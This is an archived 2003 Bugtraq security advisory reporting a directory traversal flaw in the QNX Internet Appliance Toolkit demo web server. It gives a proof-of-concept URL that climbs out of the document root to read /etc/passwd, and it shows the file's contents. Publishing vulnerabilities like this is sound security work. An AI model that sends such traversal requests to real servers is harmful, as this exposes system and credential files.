bugtraq - Local file retrieving in QNX Internet Appliance Toolkit http-daemon (web.server)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 22 Jun 2003 03:59:49 +0200
From: "Michael Bemmerl" <security@...robox.net>
To: <bugtraq@...urityfocus.com>
Cc: <full-disclosure-moderated@...ts.seifried.org>,
   <full-disclosure@...ts.netsys.com>
Subject: Local file retrieving in QNX Internet Appliance Toolkit http-daemon (web.server)

Local file retrieving in QNX Internet Appliance Toolkit http-daemon
(web.server)

Vendor-URL: http://www.qnx.com

Description:
--====--

I recently found a 3,5"-disk labeled with QNX-demo on my desk. This is
the "Take the 1.44M Web Challenge!"-disk I got it in 1998. I couldn't find
the demo on the qnx-website, but i found it on another site:
http://public.planetmirror.com/pub/qnx/demodisk/ (v4.00) Anyway, the
webserver doesn't check the url's, so you can view any text-file on the
diskette.

Affected (and tested) versions:
--========--

    v1.1
    Modem v3.03
    Network v4.00
    Network v405
    Modem v405

Vulnerability:
--====--

The document-root of the webserver is /usr/httpd, so type this URL in the
embedded webbrowser:

http://127.1/../../etc/passwd

and you'll see the /etc/passwd:
root::0:0:/usr/httpd:/bin/sh
bin::1:0:/bin:

Thanks for reading, greets to all,

Michael

P.S.: This is my first vulnerability :-)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html